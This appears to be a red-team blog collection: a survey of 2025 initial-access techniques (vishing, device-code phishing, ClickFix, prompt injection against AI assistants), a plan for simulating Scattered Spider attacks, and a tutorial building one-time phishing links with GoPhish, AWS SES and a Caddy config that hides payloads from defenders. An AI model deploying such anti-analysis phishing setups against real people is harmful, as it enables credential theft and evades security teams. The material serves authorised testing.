Category: Red Team

Initial Access in 2025

Having spent a lot of 2024 and 2025 focusing on initial access, I thought it might be useful to make a summary of recent public developments and techniques which have become popular in recent months. This will focus heavily on initial access payloads and less on general OSINT techniques, though these still have a place!

Before we start, I wanted to call out the Initial Access Guid and BreakDev Red Discord’s, which have been a great source of inspiration and learning! In addition, there are some blogs and videos which I would strongly recommend watching for anyone interested in learning more about initial access and OSINT:

Vishing

According to CrowdStrike, vishing increased in popularity by 442% in H2 2024, as well as Scattered Spider performing several high profile compromises leveraging vishing in several forms, highlighting how effective and flexible this technique can be. For example, it can suit a range of pretexts and levels of access whilst avoiding a large number of the detections which exist via other methods, such as EDR or mail filtering. Some of the commonly used pretexts include:

  • Vishing the IT Service Desk to obtain password and/or MFA resets for an account
  • Vishing a user directly to get them to reveal credentials, execute a payload or consent to a malicious OAuth application
  • Perform ‘internal’ vishing to privilege escalate or move laterally, if access has already been obtained.
  • Combining phishing and vishing to increase the legitimacy of phishing emails

Some recent threat intelligence from Google suggests that UNC6040 has been using vishing in a different way. In their example, the attackers called end users whilst posing as members of IT support. On the call they would then ask the users to authorise a third party application against their SalesForce instance, allowing for exfiltration of sensitive data through OAuth permissions. This is an interesting approach, as by not relying on code execution or credential theft, detection is made even more challenging again.

AI is often closely linked to vishing attacks, though at the time of writing there are not many good end-to-end examples of AI-powered vishing publicly available. Current models can do pre-recorded or simplistic calls well, but struggle on more complex calls and especially when video content is required. Though this is likely just a matter of time until the models improve in capability!

Device Codes

Device codes have exploded in popularity recently, notably with Microsoft’s implementation being leveraged by threat actors. For those who dont know, this allows attackers to generate a code which the victim enters into a legitimate site, such as https://microsoft.com/devicelogin. After entering the code and authenticating with their account, we are able to request access tokens as the victim from the service in question.

A number of services beyond Microsoft support this authentication flow, with some covered in separate blog posts:

Notably, whilst Google does technically support the device code authentication flow, it is heavily limited. This technique isnt just about identity providers though – due to it being within the OAuth 2.0 RFC, a lot of applications support this… But more on this another day!

There are a number of really interesting things you can do here, to leverage device codes in payloads, but again that will have to wait!

FileFix/ClickFix

FileFix and ClickFix are two related techniques which encourage end users into copying a command and pasting it within a location which will execute the code. In the case of FileFix, this is generally within the address bar of a file explorer. For ClickFix this is generally either a terminal-style application, or within the Run dialog.

Whilst ClickFix is an older technique, it is still widely used by various threat actors following John Hammond’s early proof-of-concept which led to an increase in ReCaptcha-based payloads. According to ESET, ClickFix-style attacks were up 500% in H1 2025 compared to H2 2024. Group-IB have a great summary of approaches seen in the wild, showing how varied this technique can be. Some of the common pretexts in public examples include:

  • CloudFlare-styled ‘authentication’ requiring a command to be run
  • The ReCaptcha example mentioned above
  • Various approaches where the target must ‘authenticate’ themselves by running a command

Whilst most blog posts focus on Windows, this is still an effective technique against Mac devices which havent been hardened against the various LoLBAS-style commands. Some example commands are covered by the Mac-specific ‘LOOBins’ project. Delivr.to make a specific mention of osascript being leveraged in campaigns.

MacOS

MacOS has unusually had several initial access techniques be revealed in the past few months, with two talks by SpecterOps at SOCon revealing new initial access techniques:

  1. Homebrew (brew) Taps
  2. Proxy alteration

These are particularly interesting, as they allow for more novel means of gaining initial access without relying on the classic usage of curl/wget and piping into bash or similar.

Additionally, a post by eSentire covered a campaign which used a DMG file to coerce users into dragging and dropping a file onto the Terminal, bypassing Gatekeeper. This technique does have several steps (and potential drawbacks), but it allows for a high degree of flexibility in payload delivery. A screenshot from their blog is below.

AI/Prompt Injection

An ‘emerging’ vector leverages prompt injection to poison the models of AI systems. As these systems and tools increasingly monitor more areas of our corporate lives, they are gaining the ability to read and parse a greater range of information. Naturally, if they are parsing attacker-controllable information, this can present some new avenues of attack. This is not news to anyone involved in cyber, but ‘in the wild’ examples beyond simple proof-of-concepts have been slow to emerge.

An early example was presented at Black Hat 2024, with a talk on injection attacks against CoPilot from email content. Since then, a number of other techniques have have been discovered, such as EchoLeak and attacks against Gemini AI. Datadog have also released details on a CoPilot Studio-based attack, which could lead to very convincing OAuth and credential capturing lures.

As with all AI-based attacks, this is unlikely to be resolved any time soon, especially with the growing demand for AI across applications and business use cases.

From https://0din.ai/blog/phishing-for-gemini

Credential Capture

Credential capture payloads continue to be a viable technique, though awareness of this approach does make it more challenging. The re-use of any captured credentials is increasingly requiring attention to detail, to ensure that the re-use is not caught by Conditional Access Policies or similar. Kuba Gretzky has delivered two really useful talks at x33fcon on this subject, focusing on evasion of defensive products, as well as some specific detections during the authentication process, such as CSS canaries.

Final Thoughts

Outside of the techniques mentioned above, a number of ‘older’ techniques are still highly effective, and are worth checking, such as credential reuse or stuffing attacks using stealer logs. Whilst perimeters are becoming increasingly secure, I commonly see exposed information in areas which are less heavily monitored by run of the mill ASM solutions. For example, credentials or internal terms within code sharing sites such as GitHub, StackOverflow, personal blogs and so on. Thinking a little outside the box can often reveal unexpected findings and key information.

In terms of payload delivery, the LOTS Project remains a big player, with a number of services which can be exploited for a number of uses. Common business applications are also a versatile option, though ensure you are compliant with the providers terms and conditions if you are to use them! With the ongoing shift to SaaS and cloud-hosted solutions, companies are using an every expanding list of products and services. Often these services have their own pitfalls or ability to be leveraged by attackers.

Simulating Scattered Spider

Recently Scattered Spider (G1015) have been gathering attention from a range of attacks against UK retail, namely attacks against Marks and Spencer, Harrods and Co-Op. These have led to extensive service disruption, with some firms being able to limit the impacts caused more than others. This is in addition to a range of attacks in previous years against telecommunication and Business Process Outsourcing (BPO) providers. Given the impact felt by the recent attacks against retail firms, understandably other businesses want to assess their defences against such attacks.

Threat Intelligence

To start, let’s summarise the TTPs of Scattered Spider from public threat intelligence sources, along with some ideas on how these can be tested safely. I will focus heavily on the initial stages of a Scattered-Spider attack, as this is the typical focus for most companies, though reviewing the post-exploitation TTPs would also be advisable!

MITRE ATT&CK

Starting with MITRE ATT&CK, under the Scattered Spider group ID of G1015, we can use the MITRE ATT&CK Navigator alongside the MITRE ATT&CK G1015 data, to observe see several TTPs from the threat intelligence ingested by MITRE.

  • Phishing for Information: Spearphishing Service (T1598.001)
  • Phishing for Information: Spearphishing Voice (T1598.004)
  • Gather Victim Identity Information: Credentials (T1589.001)
  • Exploit Public Facing Application (T1190)
  • External Remote Services (T1133)
  • Phishing: Spearphishing Voice (T1566.004)
  • Valid Accounts: Cloud Accounts (T1078.004)

FS-ISAC

FS-ISAC released an advisory in 2023, which detailed a range of social engineering vectors, which would link with Co-Op’s recommendation for all staff to have cameras on in meetings; a likely sign that vishing or impersonation was a direct tactic used in 2025. The report lists a range of TTPs:

  • Gather Victim Identity Information: Credentials (T1589.001)
  • Phishing: Spearphishing Voice (T1566.004)
    • Specifically targeting the IT Helpdesk
  • Multi-Factor Authentication Request Generation (T1621)
    • Otherwise known as MFA Bombing or MFA Fatigue
  • (SMS) Phishing (T1660)
  • SIM Card Swap (T1451)
  • Acquire Infrastructure: Domains (T1583.001)
  • Account Manipulation: Device Registration (T1098.005)

The report also lists Bring-Your-Own Vulnerable Driver (BYOVD) as a TTP, which could be considered for testing, or ensuring that BYOVD-specific controls are enabled, such as the corresponding ASR rule in MDE.

Google/Mandiant

A recent Mandiant report lists a range of TTPs which mirror the above, with a handy diagram (below) which shows a graphical mapping of the TTPs across the attack chain.

Source: https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications

Some of the notable TTPs are:

  • (SMS) Phishing (T1660)
  • SIM Card Swap (T1451)
  • Phishing: Spearphishing Voice (T1566.004)
    • Specifically targeting the IT Helpdesk
  • Remote Access Tools: Remote Desktop Software (T1219.002)

Notably there are a lot of other lower-skilled TTPs listed here, such as using Mimikatz and secretsdump.py, which should be readily detected by any EDR.

CISA

In 2023, CISA produced a report on Scattered Spider activity with the following TTPs:

  • (SMS) Phishing (T1660)
  • SIM Card Swap (T1451)
  • Phishing: Spearphishing Voice (T1566.004)
    • Specifically targeting the IT Helpdesk
  • Remote Access Tools: Remote Desktop Software (T1219.002)
    • Noted tools included Pulseway, ScreenConnect, TeamViewer.
  • Multi-Factor Authentication Request Generation (T1621)

Following a successful vish or phish of a user, Scattered Spider were observed to then perform more detailed OSINT into the targets, looking to identify potential answers to their security questions or perform targeted SIM swapping attacks.

Other

Scattered Spider has also been observed to register domains using the *.it.com domain, along with various domains relating to potential targets, such as corp-TARGET_HERE.com, which is also noted by CISA.

Testing Approach

From the above threat intelligence, it is clear to see several common approaches taken by Scattered Spider, specifically around vishing and the widespread use of social engineering tactics. To assess this, there are several different attacks which can be simulated through either a red or purple team exercise.

Vishing

The main TTP used by Scattered Spider appears to be the use of vishing to gain access to their targets. As part of this, the following could be tested:

  • Vishing the IT Support helpdesk to gain a password and/or MFA reset
    • This should include both a ‘standard’ and ‘privileged’ user as targets
  • Assess controls in place on video calling and internal messaging applications
    • Can an external Teams user directly message/call employees?
    • Are external tenants only to communicate internally following approval?
  • Can the SOC correlate the activity from an IT Helpdesk call to any malicious behaviour (I.e. MFA Methods added or unusual account activity)
  • Perform vishing attacks directly against high-profile or privileged users
    • Currently this is not listed by any public TI sources, but would be a logical next step for Scattered Spider TTPs
    • This would have to be carefully planned with considered guardrails and limitations to prevent causing harm or distress to any users.

Performing internal vishing (E.g. social engineering a user from the position of another internal user) can be challenging during a purple team exercise, due to the lack of technical controls which can be implemented to prevent otherwise legitimate behaviour. Instead, this can be somewhat simulated by attempting some of the ‘Risky Sign In’ behaviour below. For example, by simulating the theft of valid credentials, and attempting to authenticate as a secondary account. This would simulate the stages before an internal vishing attack, as the attacker gains access to the internal environment.

Another approach could be to simulate a supply chain compromise, from the position of a IT provider/supplier being compromised. By configuring a separate (trusted) tenant, and then creating an account within it to simulate a third party user or contractor. This could be a privileged account, or simply a ‘standard’ account, which is within a tenant that has a level of trust into the main tenant. Several tests could then be performed from the trusted into the trusting tenant:

  • Performing vishing and phishing attacks
    • Such as sharing a link to a credential capture portal, sending various payloads via email or Teams
    • Throughout these TTPs, the behaviour of email and web filtering and gateway solutions should be checked for any discrepancies compared to the same behaviour performed from an ‘untrusted’ account.
  • Credential re-use onto SSO-enabled platforms such as Citrix, AVDs or other internal systems
  • Enumeration of shared cloud resources or internal data repositories

Credential Capture

Scattered Spider appear to make extensive use of credential capture sites, such as those created by Evilginx. These sites are often hosted using domains which mimic the brand being targeted, which could act as another point of detection. Some potential tests include:

  • Phishing using a credential capture lure
  • Sending credential capture payloads from a domain impersonating the target (e.g. auth-TARGET_NAME.com)
  • Assessing that alerts are raised following credential capture activity
  • Registering domains which impersonate the target to test brand protection controls and/or typo-squatting detections

This can also blur into testing ‘risky sign-in’ activity, such as performing signins from non-compliant hosts or those in unusual geographies. This can be performed by:

  • Using VPS’s in unusual geographies to simulate a foreign login
  • Testing ‘impossible travel’
  • Authenticating using an abnormal host or browser/user agent (E.g. Kali Linux, Firefox)
  • Authenticating following an MFA Fatigue attack (See later!)
  • Performing a secondary authentication whilst the user is legitimately signed in.

Credential Re-Use

Credential stuffing or re-use attacks appear to also be used by Scattered Spider, along with a number of other threat actors. Whilst this is a commonly used technique, there are several password spraying TTPs which are worth assessing:

  • Evaluate breached credentials and combolists for leaked credentials
    • Depending on the scope and appetite of the customer, performing more targeted OSINT into high profile or privileged users to identify passwords used on personal accounts could be performed – subject to approval!
  • Perform targeted password spraying using any leaked credentials, including potential modifications (E.g. London101! -> London102!)
  • Widespread password spraying using passwords relating to the company or industry

With access to a valid account, a wider range of tests can be simulated as an assumed compromise-style test to assess the post-authentication controls:

  • Attempt to add phone/SMS based MFA methods to an account
    • If they are, then perform MFA Fatigue tests against it.
  • Sign in using a non-compliant device
  • Attempt to perform typical early kill chain behaviour
    • Searching SharePoint/internal resources for passwords or internal data
    • Gathering of Teams and Outlook data
    • Add new MFA methods to the account
    • Change the password of the account
  • Follow the ‘Risky Sign In’ activity above
  • Evaluation of the current password policy and banned password phrases

Remote Management and Monitoring (RMM)

Attempting to download and install various RMM tools on a corporate device should be sufficient to raise alerts, especially if the executable is not being installed via an approved method (E.g. InTune). CISA has a specific advisory on this, which contains additional information.

For some (or all!) of the RMM software mentioned by RedCanary, you could:

  • Attempt to download the RMM software
  • Install the RMM software
  • Establish a remote connection to the host
  • Attempt to run various commands through a provided console (If it has one) or through cmd/powershell.

Alerts could be raised at all points of these tests, though this can be challenging due to the executables potentially being allowed by policy, for example of AnyConnect is a corporate solution for screensharing or client communications. It would also be a good exercise to ensure any actions performed via a RMM can be successfully attributed to a RMM session by the SOC/IR teams, rather than a more generic attribution to activity via a CLI.

Additional Considerations

Whilst the TI mentioned above lists a range of TTPs, it is also important to consider some of the emerging initial access tradecraft seen by other threat actors, such as Device Code phishing, ClickFix and Living Off Trusted Sites (LOTS). Whilst I dont believe this has been publicly observed as being used by Scattered Spider yet, given the success of such techniques it would be advised to ensure these are also tested, as the TTPs in use may evolve!

A lot of this post focuses on technical controls and testing, but this activity also has a number of potential table top scenarios which could be produced from it to ensure the correct processes are in place. For example:

  • How would a third-party compromise be handled in light of the recent breaches?
  • What would the process be for handling AiTM alerts being raised against a privileged IT account?
  • What would the response be if a mass password-spraying attack was observed from known Scattered Spider infrastructure?

Specific training or guidance for staff may be sensible given the uptick in active attacks from Scattered Spider recently. Training could focus on:

  • How to identify potential social engineering approaches, focusing on vishing specifically
  • How can users report suspicious internal messages or video calls
  • Raising awareness of current attacker trends, such as ClickFix

Recommendations

The FS-ISAC report and the Mandiant report have a range of recommendations on specific controls to be implemented, and would be a good starting point for any assurance activity.

One Time Phishing Links With Caddy & AWS SES

Caddy has long caught my attention as a much nicer alternative to Apache or Nginx which has been widely used by red teams over the years. As a bit of a project to learn more about Caddy and GoPhish, I wanted to try and combine the two to create one time phishing links by leveraging the GoPhish API.

This technique is commonly used as an anti-analysis technique, by offering a payload to the 1st clicker of a link, then offering a non-malicious payload on any subsequent investigation. This can be tweaked based on the environment which you are facing, as you might not always want the link to only be used once. If you read @APTortellini’s post, you can see how else we could extend this…

GoPhish Setup

To start, lets install GoPhish. As this is not to be used in a real engagement/I am being lazy, I will take the pre-built version from their releases.

After unzipping the file, I made the gophish file executable and ran it which exposes a local webserver on https://localhost:3333. This is used to control the server, the initial sign-in details are put into the console for us.

AWS SES Setup

In order to actually send emails, we need to set up an SMTP server for us to send from. Unfortunately this is against the terms of most of the big cloud providers, but I will use AWS SES, as it is low cost option for sending emails out. This does have notable drawbacks for offensive usage, as you will be banned if they receive abuse notifications.

Regardless, it will be fine for a quick and dirty PoC of single usage phishing infrastructure! Below is the cost at the time of writing:

One of the main drawbacks is that we can only send emails to verified email addresses. Lets verify ownership of our target email.

After clicking on the link in the email, we are verified!

We will now create SMTP settings within SES.

I will create a user and then download the credentials from the next page. I will also verify a second email address within SES. This means I can send emails to an actual inbox, rather than the default SES sandbox.

GoPhish Campaign Creation

Back in GoPhish, I will add these SMTP settings into a Sending Profile

I then used the Send Test Email button to verify I had configured this correctly. We then receive the following email in our targets mailbox:

With this working, I configured some basic templates, groups and landing pages in GoPhish. I then configured a Campaign and launched it.

After sending, we get a really clean looking UI within GoPhish, showing we have managed to send out our email.

This page will also show details on who we have targeted and key events on a timeline.

Caddy Setup

Now lets spice it up a little and add some phishing payloads into the mix. We can very easily include an HTML link and send users onto our payload server, which works fine for basic payloads but would mean our payloads could be downloaded by the blue team!

Using Caddy, we can make a basic payload server which will allow us to allow or deny file downloads based on their suffix. For instance, the Caddyfile below will sinkhole any traffic which isn’t to a /downloads/* URL, and will only serve the payload to those URLs within the valid_download_prefixes list – we will generate these later on!

# Only handle traffic which matches our download URL
handle /downloads/* {
    # Only allow downloads from explicitly set URLs.
    @valid_download_prefixes {
        import ../filters/valid_download_urls.caddy
    }
    
    # Handle requests which contain a valid prefix
    route @valid_download_prefixes { 
        import valid_download.caddy 
    }

    # By default, assume we will block downloads as being expired
    import expired_download.caddy
}

# A catch all to sinkhole any other traffic which doesnt match a URL above.
handle {
    import sinkhole.caddy
}

For example, if we set the valid_download_prefixes.caddy file to include path *abc123, then only URLs which end in abc123 will be allowed to download the file, such as /downloads/SOME_TEXTabc123. This is better, but still means that when a valid URL is obtained, then the payload can be downloaded multiple times.

For example, if we apply this configuration, then any URL ending in abc123 will receive the legitimate payload.

But if we try with an ‘invalid’ URL, we get the following error message.

And if we are barking up entirely the wrong tree then we can show a completely different error message via the final handle statement above.

GoPhish API

Using Python and the GoPhish API, we can add some logic to make these URLs only be valid for a single click. First we will need to obtain an API key for GoPhish by visiting the /settings URL. I then installed the official Python library.

We will then get the details on a specific campaign (Assuming we use 1 payload server per campaign). In this case, we will use Campaign 9.

campaign_name = "Campaign 9"
campaign = next((x for x in api.campaigns.get() if x.name == campaign_name), None)

if not campaign:
    print(f"Campaign name '{campaign_name}' not found in GoPhish. Try again!")
    exit()

# Now lets get the unique ID given to all of the targets.
for result in campaign.results:
    print(f"query id={result.id}")

We can take these ID’s and edit the valid_download_urls.caddy file, so that only the IDs generated by GoPhish will work.

Looking at the output of the API, our target was given the ID of b5KcKSx:

The Python script will then parse this out and add an entry to our filter in Caddy. For this example, it will require the id parameter to contain this unique ID in order for a legitimate payload to be delivered.

query id=b5KvKSx

Now we have an auto-generated phishing URL based on the values from GoPhish. If we now access our final URL, then any requests to the /downloads folder containing a query parameter of id=b5KvKSx will obtain the payload.

If a different query parameter is used, then they will get a different response. In this case we will show an ‘expired’ message to add legitimacy, but this could be replaced with anything.

So we are a step closer now, but this isn’t a one time phishing URL just yet!

One Time Phishing

We can use the access logs generated by Caddy to generate a list of visited URLs, which we can then parse to ‘invalidate’ (i.e. redirect traffic) any of our download links. We can easily do this with a command to find the URLs we visited earlier:

With a Python script, we can check for any visited URLs and remove them from our explicitly-allowed Caddy filter. If we loop over this every minute or so, a download link will only remain active for a minute before ‘expiring’. We could shorten this interval to create a true ‘single use’ phishing link.

Lets try this out using a new campaign, so that we have new unique IDs:

We can now visit the download page and get our payload.

And after a minute, the download expires and the filter is updated so that only 1 ID is able to obtain the payload.

If we attempt to re-download the file, then we get an error message. This message would then be shown to any future visitors, such as a blue team response, or a email security product attempting to investigate a reported email.